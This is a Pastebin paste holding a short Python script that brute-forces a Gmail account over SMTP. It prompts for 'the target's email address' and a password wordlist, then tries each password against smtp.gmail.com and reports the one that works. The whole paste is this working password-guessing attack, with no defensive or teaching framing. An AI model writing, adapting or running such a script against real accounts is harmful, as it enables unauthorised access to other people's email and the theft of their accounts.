Guest User

Untitled

a guest
Jun 19th, 2020
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.56 KB | None | 0 0
  1.  
  2.  
  3. import smtplib
  4.  
  5. smtp_srverG= smtplib.SMTP('smtp.gmail.com', 587)
  6. smtp_srverG.ehlo()
  7. smtp_srverG.starttls()
  8.  
  9. user = input("Enter the target's email address: ")
  10. passwfile = input("Enter the password file name: ")
  11. passwfile = open(passwfile, "r")
  12.  
  13. for password in passwfile:
  14. password = password.strip()
  15. try:
  16. smtp_srverG.login(user, password)
  17.  
  18. print("[+] Password Found: %s" % password)
  19. break;
  20. except smtplib.SMTPAuthenticationError:
  21. print("[!] Password Incorrect: %s" % password)
Add Comment
Please, Sign In to add comment